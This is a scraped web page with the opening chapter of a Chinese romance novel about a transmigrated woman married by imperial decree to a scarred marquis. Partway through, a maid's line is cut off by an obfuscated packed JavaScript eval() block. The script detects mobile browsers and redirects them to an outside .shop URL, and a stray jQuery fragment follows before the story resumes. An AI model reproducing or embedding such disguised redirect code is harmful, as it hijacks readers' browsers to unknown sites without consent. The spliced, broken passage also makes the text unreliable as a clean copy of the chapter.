文趣网 > 其他小说 > 嫁给毁容侯爷 > 1. 1
    “吉时已到,起轿——”

    尖细悠长的唱和声落下,锣鼓、唢呐声便齐齐响起来,迎亲的队伍终于缓缓动了起来。

    将盛安清平安送上花轿的国公府众人这才暗暗松了口气。

    今天本该是大喜的日子,众人脸上却并不见多少喜色。

    国公夫人靠在嬷嬷身上,眼眶红得厉害,隔着人群远远望着那台渐行渐远的花轿,喉间哽了哽,轻声唤道:“我的清儿……”

    那声音极轻,像是怕一说出口,眼泪便要跟着掉下来。

    盛国公重重叹了口气,神色有些复杂,最后只道了一句:“都进去吧。”

    “母亲。”盛家大姑娘上前,小心地扶着国公夫人,低声安抚。

    跟在后面的盛四姑娘低着头,垂下的刘海遮住了眼底如释重负的庆幸。

    府门外,围观的人群尚未散尽,低低的议论声此起彼伏。

    “你刚刚看到那新郎官的脸了吗?”迟来的路人好奇地用手杵了杵前面的人,“是不是毁容了?”

    “我看见了,”那人想了想,“脸是伤了,但看着倒也没那么可怕。”

    “那定是今日用粉遮住了!”另一人附和道。

    “听说这盛家三姑娘长得花容月貌的,真是可惜了……”

    “据我那在大户人家当差的侄子说,新郎家里还有一个疯子一个傻子。”

    “此话当真?那新娘的日子怕是不好过,这亲事可真是……”

    “嘘——你可别乱说,这可是当今圣上赐的婚!”

    端坐在花轿里的盛安清双手垂放在膝上,左手手指无意识地在右手腕上轻轻敲了两下,这是她思考时的习惯。

    盛安清听不到外边的议论声,但她并没有众人想象中的那般惶然不安。

    半个月前,盛安清熬夜工作猝死,睁开眼便成了盛国公府的三小姐。

    原主被赐婚给了靖安侯凌淮,那姑娘听说凌淮在战场上毁了容,模样骇人,且侯府太夫人疯癫、小姐痴傻,她惊惧之下发了高热,最后竟一命呜呼,反倒让她占了这具身体。

    盛安清醒来后,并没有原主的记忆,国公府担心她再听了风言风语,将她看管得很严,盛安清担心露馅,只能一直装病。

    这些日子里,她零零散散打听到了一些关于靖安侯府的消息。

    凌淮原是老侯爷的第二子,三年前边境惨胜,老侯爷和其长子双双战死沙场,侯府上下扶棺回乡守孝三年。

    两个月前回京,凌淮承袭侯位,任虎翼军都指挥使,同时,皇帝亲自赐下了这门婚事。

    盛安清穿越到这样一个陌生的时代,心底并非不慌,可探听到这些消息后,她反而平静了下来。

    第一任盛国公是跟着开国皇帝打天下的功臣,祖上也曾显赫一时,经过百年,国公府早已不复当年权势,但依旧是勋贵世家。

    靖安侯掌握兵权,皇帝不会让他再与实权官员联姻,权衡下来,盛国公府已经是最好的选择了。

    这样来看,皇帝对靖安侯府还是有几分看重的。

    再加上凌淮毁容、太夫人疯癫、侯府小姐痴傻,旁人听着可怜,反而让皇家对侯府更多几分宽容与同情。

    在这个皇权至上的时代,盛安清觉得侯府对她来说倒是个非常合适的去处。

    思考间,迎亲的仪仗停了下来,轿帘被掀开,盛安清低垂着眼,只看见红盖头下伸进来一只手。

    手指修长,骨节分明,虎口处覆着薄茧,小麦色的手背上还留着一道浅浅的伤疤。

    盛安清轻轻握住那只手。

    不同于她有些微凉的指尖,对方的手温暖有力。

    视线被红盖头遮挡,盛安清小心翼翼地跟随着手上的力道走到堂屋。

    “一拜天地——”傧相拖着长腔喊道。

    盛安清牵着红绸,跟着旁边那人的牵引,躬身行礼。

    红绸另一端传来的力道很轻,却很稳。

    “二拜高堂——”

    她微微侧身,依稀看见前方坐着一道模糊的身影,那人端坐于高堂之位,隔着一层盖头,看不真切。

    那是太夫人吗?

    盛安清心里掠过一丝疑问,却没有多想,顺着流程缓缓行礼。

    “夫妻对拜——”

    “送入洞房——”

    折腾了一天,等终于安稳坐在婚床上时,盛安清已经筋疲力尽了。

    满身的凤冠霞帔压得她肩颈酸痛,只是房间里还有不少人候着,她端端正正坐着,不敢轻举妄动。

    好在凌淮很快就回来了,大抵是前面的客人没怎么闹他。

    随着脚步声靠近,盛安清的呼吸放轻了些。

    盖头被轻轻挑开,金线流苏从眼前晃过,盛安清慢慢抬起头。

    面前的男人一身绛红喜服,肩背挺拔,身形修长,左侧脸至下颌处,有一道一寸多长的伤疤。

    他面上没什么表情,眼神落在她身上时,也没有太多情绪。

    两人对视了几秒。

    傧相的声音适时响起来:“请新郎新娘饮合卺酒。”

    盛安清垂下眼,接过酒杯,慢慢饮下,酒液入喉,带着微微的辛辣,她轻轻抿了抿嘴。

    “结发为夫妻,恩爱两不疑。”

    傧相笑盈盈地走完最后一道流程,这才领着人退了出去。

    屋内很快安静下来,连烛芯偶尔炸开的轻响都格外清晰。

    仰着头有些累,盛安清正要站起身说些什么,门外忽然传来一阵急促的敲门声。

    “侯爷!太夫人那边……”

    话音未落,凌淮神色便微微一变,眼底掠过一瞬痛苦神色,看向盛安清说道:“你先休息,我去看看。”

    “好,你去吧。”盛安清没有多问。

    目送凌淮离开,盛安清肩膀微微放松下来。

    她走到梳妆台前坐下,铜镜里映出一张年轻漂亮的面孔。

    婢女芷兰连忙上前为她卸去头上的凤冠,玉琴一边收拾首饰,一边忍不住嘀咕:“小姐,今晚可是洞房花烛夜,姑爷他怎么走了呀?”

    “应当是有急事,无妨。”盛安清语气平静,眉眼间已透出几分倦意。

    大概是太夫人那边出了什么状况?今日折腾得太久,盛安清实在没有精力再去细想旁的。

    简单洗漱过后,她便要上床休息。

    “小姐,不用再等等姑爷吗?”芷兰轻声提醒道。

    “不必了,你们退下吧,”盛安清拉了拉被角,“若是他回来了,你们进来叫醒我。若是没回来,便不用管了。”

    “对了,”盛安清正要躺下,又想起什么,微微撑起身子,“往后在府里,唤侯爷和夫人便是。”

    芷兰和玉琴对视一眼,屈膝应了:“是,夫人。”

    芷兰和玉琴伺候原主多年,盛安清要让她们接受自己性情上的变化,婚后性子转变,无疑是最合理的解释。

    *

    月亮被云层遮住大半,只露出几缕惨淡的光,廊边因婚宴而挂的一排灯笼还亮着,红绸在夜风中轻轻晃动。

    等到母亲终于平静下来的时候,已经是深夜了。凌淮站在院子里,微微出了一会神。

    身后传来一阵细碎的脚步声,侍卫陆明走过来低声道:“侯爷,府医说太夫人的脉象已经稳住了,今晚应当不会再发病。府医开了安神的方子,叮嘱这几日不能让太夫人再受刺激。”

    “知道了。”凌淮的声音有些哑。

    凌淮进屋,看着母亲喝了药睡下,才放下心来。他从正房出来,正要往前院去,看见自己身上的绛红喜服,脚步一顿,他今日成婚了。

    凌淮按了按眉心,无声地叹了口气,脚步一转往另一个方向去了。

    新婚夜的喜烛不能灭,暖融融的光从雕花窗棂中漫出来。

    凌淮看着烛火通明的房间,脚步一顿。

    芷兰和玉琴正守在门外,看见凌淮过来,连忙低头行礼:“侯爷。”

    凌淮站在门口,问道:“她歇下了?”

    “夫人已经歇下了,不过夫人睡前特意吩咐过奴婢,说待您回来时,定要唤醒她。”芷兰小心翼翼地回答,一边偷偷抬眼看了一下凌淮的脸色。

    房间里透出的暖光映在他的脸上,掩不住冷淡疏离的气息。

    凌淮沉默了片刻。

    屋内很安静,他隐隐约约能听见绵长而均匀的呼吸声,她似乎睡得还不错。

    若是寻常新娘,新郎半途离去,怕是早就躲在被子里哭红了眼,哪里还能这般冷静地吩咐丫鬟,甚至自己安然入睡?

    他这位夫人,倒真有些出乎他的意料。

    不过这样也好。

    “不必了。”凌淮放轻了声音,“我今日去前院歇着。”

    玉琴张了张嘴,想要说什么,最终只是低低应了一声“是”。

    凌淮转身出了东院,候在门口的陆明见凌淮又出来了,睁大了眼忍不住问道:“侯爷,您这是要回前院吗?今日可是您的大喜之夜!您走了会让说闲话的!”

    “她已经睡下了。”凌淮想了想,“吩咐府中下人,莫要乱说话。”

    “是,”陆明下意识应下,随后反应过来,“侯爷,夫人睡着了也可以叫醒她啊!”

    陆明的父亲是老侯爷的部下,多年前战死沙场,之后母亲也病逝,老侯爷便将陆明接到府中,安排在凌淮身边,同他一起习武读书。

    凌淮停下脚步,语气缓和了些:“府中什么情况你也知晓,我暂时无心此事。”

    陆明皱眉,耐心劝道:“侯爷,我知道您不愿意耽误人家姑娘,可木已成舟,您已经成婚了!”

    “成婚并非我所愿,只是皇命难违,”凌淮沉默片刻,语气坚决,“只要她安分守己,我定会给她应有的体面和尊重。”

    说罢,凌淮不再多言,转身离开。

    陆明看着凌淮孤寂冷漠的背影,不由自主地回忆起了五年前。

    那时大公子刚与工部侍郎家的小姐定了亲,夫人与侯爷谈论起二公子的婚事,当时才十七岁的二公子听到这事时,还颇有些不好意思,直说不用夫人和侯爷牵线,他定会遇到一个与他心意相通之人。

    可不久后,边疆便出了战事,侯爷奉命出征,大公子与二公子也跟着去了战场。

    最终却只有二公子一人平安归来了……

    陆明长长叹息一声。

    *

    红烛在寅时便燃尽了,烛泪在铜台上凝成一朵暗红色的花。

    盛安清一觉睡到了卯时,她睁开眼,入目是绯红的帐顶,帐上绣着鸳鸯戏水的纹样,金线在晨光里泛着柔和的光。

    她盯着那对鸳鸯看了好一会,意识才慢慢回笼。

    她成婚了。

    这里不是她二十一世纪的出租屋,也不是盛国公府三小姐的闺房,而是靖安侯府的后院,她往后可能要在这里生活几十年。

    盛安清坐起身,伸了个懒腰。

    “夫人,您醒了?”芷兰的声音从外间传来,试探着问道。

    “嗯,进来吧。”

    芷兰和玉琴端着铜盆和帕子进来,身后还跟了两个生面孔的小丫鬟,垂着头,手脚麻利地铺床叠被。

    盛安清由着芷兰替她穿衣,漫不经心地问:“昨夜侯爷来过吗?”

    “来过的,”芷兰斟酌着用词,“约莫是子时前后,侯爷过来问您歇下来没有,奴婢说您交代过,若侯爷来了,便叫醒您。可侯爷说不必,让夫人您好好休息,他去了前院歇了。”

    玉琴到底是沉不住气,咬了咬嘴唇,忍不住抱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766758|209727||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怨:“侯爷怎么能这样呢?新婚夜一个人回了前院,往后让别人怎么看您啊!”

    芷兰立马出声呵斥:“玉琴,不可妄议主子!”

    玉琴扁扁嘴:“知道了,芷兰姐姐,我就是在你和夫人面前说而已,出了这个门我绝对不会多说一个字的!”

    盛安清听着她这话,忍不住笑了一声。

    芷兰今年十五岁,性子稳重,玉琴小她两岁,还有些孩子气。

    芷兰替她穿好衣裳,又服侍她净面漱口。盛安清坐到梳妆台前,芷兰拿起玉梳替她挽发。

    正梳着头,一个丫鬟进来通报:“夫人,侯爷过来了。”

    盛安清眉梢微挑,他进来前竟然还让人通报?看来是没把他自己当成这东院的主人。

    “请侯爷进来吧。”

    脚步声由远及近,凌淮跨过门槛走了进来。

    盛安清下意识抬头望去。

    昨晚在烛光下,她只瞥了个大概,并未看真切。此时晨光透亮,她才算真正看清了这位靖安侯的模样。

    凌淮换了一身鸦青色长袍,腰间束着墨色革带,身量极高,肩背挺直如松,走路的步子沉稳有力。他生了一张极出色的脸,高眉骨,脸部线条冷硬而流畅,薄唇微抿时带着几分拒人千里的冷淡。

    左侧脸至下颌处那道一寸来长的旧疤,更是为他平添了几分凌厉气势。

    先前盛安清听说凌淮毁容,还做了许久的心理建设,毕竟若是日日对着一张骇人的脸,她也会难受的。现在看来,倒是意外之喜。

    凌淮骨相极其优越,那道伤疤若是寻常女子见了,也许会有些不适,但盛安清在孤儿院里长大,见过不少身有残缺的人,这点疤痕算不得什么。

    盛安清打量凌淮的同时,凌淮的目光也从她脸上掠过。

    见她脸上毫无异样表情,他心底有些意外。

    芷兰和玉琴屈膝向他请安。

    “侯爷早安,是要去敬茶么?您稍等一下,我马上就好了。”盛安清说完,便转过身让芷兰继续挽发。

    凌淮站在一边看着,待她梳好发,才开口道:“母亲身体不适,今日的敬茶便罢了。”

    盛安清点点头,没有追问。

    凌淮见她这般冷静,顿了顿,才说道:“我让人送了早膳过来。”

    丫鬟们提着食盒进来,将早膳摆在桌上。鸡肉粥熬得浓稠,散发着淡淡的香气,配着几碟小菜,还有一笼热腾腾的桂花糕。

    盛安清看了一眼,便让芷兰和玉琴先出去了,走到桌边坐下来,看向凌淮:“侯爷,您吃过了吗?要不要一起吃点?”

    “不必,你用吧。”凌淮摇了摇头,走到一旁坐下。

    盛安清也不勉强,舀了一勺粥,粥熬得恰到好处,鸡肉的鲜味都融了进去。桂花糕不同于前世那种预制品,桂花香味扑鼻,口感细腻香甜。

    有人在旁边也丝毫不影响盛安清的胃口,她前世很少有机会这样坐下来慢悠悠地吃一顿早饭。

    盛安清吃得十分认真,仿佛品尝山珍海味一般。

    凌淮看着盛安清,莫名觉得有些违和。她是盛国公府娇养大的姑娘,这场婚事应当让她受了不少的委屈,可从昨天到现在,她没有流露出丝毫不满,甚至有些过分地成熟冷静了。

    盛安清吃得差不多了,擦了擦嘴角,便让丫鬟进来收拾。

    凌淮看向她:“可还合胃口?”

    “挺好的。”盛安清点点头,倒了杯茶,喝了一口。

    凌淮道:“东院有小厨房,日后你可自行安排。”

    盛安清放下茶杯:“侯爷可是有事要与我说?”

    凌淮斟酌片刻,才说道:“昨日是我失礼了,让你受了委屈,府中下人我已吩咐过,不会有人乱嚼舌根。”

    盛安清顿了一下,才反应过来他说的是昨晚洞房的事,摇了摇头:“无妨,我知道是事出有因,侯爷不必在意。”

    若是凌淮昨日留下了,她可能还得找借口拖延一下,与一个完全陌生的人圆房她确实有些抵触。

    凌淮仔细打量她的表情,确认了她所说并非勉强,继续道:“这场婚事并非我所愿,也让你受了许多委屈,往后在府中,你可自由行事。母亲身子不好,你日后也无需晨昏定省。”

    “可以!”听完这段话,盛安清眼睛瞬间亮了。

    不委屈,一点都不委屈,她现在对这桩婚事非常满意!

    凌淮看着冷漠,行事却极为妥帖周全,方才他等她梳妆和用膳时,毫无不耐之意。尊重人且耐心细致,在这个时代实在难得。

    且现在还不用每日早起,这不是妥妥的躺平生活吗!

    凌淮见她脸上并无不悦,反而有几分喜色,沉默片刻才继续说道:“你可愿接管中馈?”

    盛安清问他:“府内事务如今是谁在打理?”

    凌淮道:“是管家李叔与母亲身边的周嬷嬷一同管着。”

    盛安清道:“那便让他们继续管着吧,若有无法决断之事,再来找我便是。”

    侯府如今没几个主子,她作为凌淮唯一的夫人,便是什么也不管,也不会有下人敢怠慢到她头上。

    凌淮点头,问道:“你可还有什么别的要求?”

    盛安清想了想:“我日后可以自由出府吗?”

    “自然,”凌淮当即应允,“只是为了安全,身边要多带些人。我稍后让陆明安排两个懂拳脚的丫鬟到东院。”

    盛安清满意地点点头:“多谢侯爷,您放心,我会守好自己的本分,绝不会做出抹黑侯府名声的事情。”

    凌淮还要说什么,太夫人身边的嬷嬷过来传话:“侯爷,太夫人在正院等着,请您和夫人过去敬茶。”

    盛安清目光转向凌淮。

    不是说不用过去敬茶吗?